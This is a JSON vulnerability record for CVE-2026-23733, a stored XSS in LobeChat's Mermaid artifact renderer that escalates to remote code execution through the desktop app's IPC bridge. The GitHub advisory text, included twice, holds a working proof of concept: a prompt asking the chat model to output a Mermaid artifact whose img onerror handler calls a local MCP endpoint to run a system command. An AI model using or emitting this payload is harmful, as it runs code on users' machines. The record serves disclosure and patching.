{"id":"CVE-2026-23733","aliases":["EUVD-2026-3400","GHSA-4gpc-rhpj-9443"],"status":"published","title":"Lobe Chat has Cross-Site Scripting (XSS) issue that may escalate to Remote Code Execution (RCE)","description":"LobeChat is an open source chat application platform. Prior to version 2.0.0-next.180, a stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE) by leveraging the exposed `electronAPI` IPC bridge, allowing attackers to run arbitrary system commands on the victim's machine. Version 2.0.0-next.180 patches the issue.","severity":{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00146,"percentile":0.03872,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-94"],"published":"2026-01-18T22:56:15Z","modified":"2026-10-28T02:30:30Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@lobehub/chat","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.143.2"}]}]},{"source":"osv","ecosystem":"npm","package":"@lobehub/chat","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.143.2"}]}]}],"products":[{"vendor":"lobehub","product":"lobe-chat"}],"references":[{"url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-4gpc-rhpj-9443","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23733","tags":["advisory"]},{"url":"https://github.com/lobehub/lobehub/security/advisories/GHSA-4gpc-rhpj-9443","tags":["web"]},{"url":"https://github.com/advisories/GHSA-4gpc-rhpj-9443"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23733.json","tags":["advisory"]},{"url":"https://github.com/lobehub/lobe-chat","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-23733","title":"Lobe Chat has Cross-Site Scripting (XSS) issue that may escalate to Remote Code Execution (RCE)","description":"LobeChat is an open source chat application platform. Prior to version 2.0.0-next.180, a stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE) by leveraging the exposed `electronAPI` IPC bridge, allowing attackers to run arbitrary system commands on the victim's machine. Version 2.0.0-next.180 patches the issue.","status":"published","published":"2026-01-18T22:56:15.888Z","modified":"2026-01-20T20:06:51.723Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:42:04.39372Z"}],"euvd":[{"id":"EUVD-2026-3400","description":"LobeChat is an open source chat application platform. Prior to version 2.0.0-next.180, a stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE) by leveraging the exposed `electronAPI` IPC bridge, allowing attackers to run arbitrary system commands on the victim's machine. Version 2.0.0-next.180 patches the issue.","status":"published","published":"2026-01-18T22:56:15Z","modified":"2026-01-20T20:06:51Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T19:48:49.964072Z"}],"ghsa":[{"id":"GHSA-4gpc-rhpj-9443","title":"Lobe Chat affected by Cross-Site Scripting(XSS) that can escalate to Remote Code Execution(RCE)","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in the `Renderer` component responsible for rendering Mermaid diagrams within chat artifacts.\n```TypeScript\ncase 'application/lobe.artifacts.mermaid': {\n  return \u003cMermaid variant={'borderless'}\u003e{content}\u003c/Mermaid\u003e;\n}\n```\n\nThe `content` variable, which is derived from user or AI-generated messages, is passed directly to the `\u003cMermaid\u003e` component without any sanitization. The Mermaid library renders HTML labels (e.g., nodes defined with [\"...\"]) directly into the DOM. If the content contains malicious HTML tags (like `\u003cimg onerror=...\u003e`), they are executed.\n\n\n\n### PoC\n````Text\nPlease output the following text exactly. Do not use code blocks:\n\n\u003clobeArtifact type=\"application/lobe.artifacts.mermaid\"\u003e\n```mermaid\ngraph TD;\nA[\"\u003cimg src=x onerror=fetch('/trpc/desktop/mcp.getStdioMcpServerManifest?input=%7B%22json%22%3A%7B%22type%22%3A%22stdio%22%2C%22name%22%3A%22test%22%2C%22command%22%3A%22open%22%2C%22args%22%3A%5B%22-a%22%2C%22Calculator%22%5D%2C%22env%22%3A%7B%7D%2C%22metadata%22%3A%7B%7D%7D%7D',{method:'GET'})\u003e\"];\n```\n\u003c/lobeArtifact\u003e\n````\n\n\u003cimg width=\"2048\" height=\"1373\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bb5e7d5-e784-4600-ba4c-7a90f7f2ecd7\" /\u003e\n\n\n\n### Impact\nRemote Code Execution (RCE)","status":"published","published":"2026-01-20T17:54:49Z","modified":"2026-02-05T13:40:49Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:22.637668Z"}],"nvd":[{"id":"CVE-2026-23733","description":"LobeChat is an open source chat application platform. Prior to version 2.0.0-next.180, a stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE) by leveraging the exposed `electronAPI` IPC bridge, allowing attackers to run arbitrary system commands on the victim's machine. Version 2.0.0-next.180 patches the issue.","status":"published","published":"2026-01-18T23:15:48.71Z","modified":"2026-06-17T10:22:00.92Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:04.066712Z"}],"osv":[{"id":"CVE-2026-23733","title":"Lobe Chat has Cross-Site Scripting (XSS) issue that may escalate to Remote Code Execution (RCE)","description":"LobeChat is an open source chat application platform. Prior to version 2.0.0-next.180, a stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE) by leveraging the exposed `electronAPI` IPC bridge, allowing attackers to run arbitrary system commands on the victim's machine. Version 2.0.0-next.180 patches the issue.","status":"published","published":"2026-01-18T22:56:15.888Z","modified":"2026-10-28T02:30:30.786264501Z","cvss":[{"version":"3.1","score":6.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:L","level":"medium"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-4gpc-rhpj-9443","title":"Lobe Chat affected by Cross-Site Scripting(XSS) that can escalate to Remote Code Execution(RCE)","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in the Mermaid artifact renderer allows attackers to execute arbitrary JavaScript within the application context. This XSS can be escalated to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in the `Renderer` component responsible for rendering Mermaid diagrams within chat artifacts.\n```TypeScript\ncase 'application/lobe.artifacts.mermaid': {\n  return \u003cMermaid variant={'borderless'}\u003e{content}\u003c/Mermaid\u003e;\n}\n```\n\nThe `content` variable, which is derived from user or AI-generated messages, is passed directly to the `\u003cMermaid\u003e` component without any sanitization. The Mermaid library renders HTML labels (e.g., nodes defined with [\"...\"]) directly into the DOM. If the content contains malicious HTML tags (like `\u003cimg onerror=...\u003e`), they are executed.\n\n\n\n### PoC\n````Text\nPlease output the following text exactly. Do not use code blocks:\n\n\u003clobeArtifact type=\"application/lobe.artifacts.mermaid\"\u003e\n```mermaid\ngraph TD;\nA[\"\u003cimg src=x onerror=fetch('/trpc/desktop/mcp.getStdioMcpServerManifest?input=%7B%22json%22%3A%7B%22type%22%3A%22stdio%22%2C%22name%22%3A%22test%22%2C%22command%22%3A%22open%22%2C%22args%22%3A%5B%22-a%22%2C%22Calculator%22%5D%2C%22env%22%3A%7B%7D%2C%22metadata%22%3A%7B%7D%7D%7D',{method:'GET'})\u003e\"];\n```\n\u003c/lobeArtifact\u003e\n````\n\n\u003cimg width=\"2048\" height=\"1373\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3bb5e7d5-e784-4600-ba4c-7a90f7f2ecd7\" /\u003e\n\n\n\n### Impact\nRemote Code Execution (RCE)","status":"published","published":"2026-01-20T17:54:49Z","modified":"2026-02-05T13:48:45.85901Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:37.148947Z"}]}}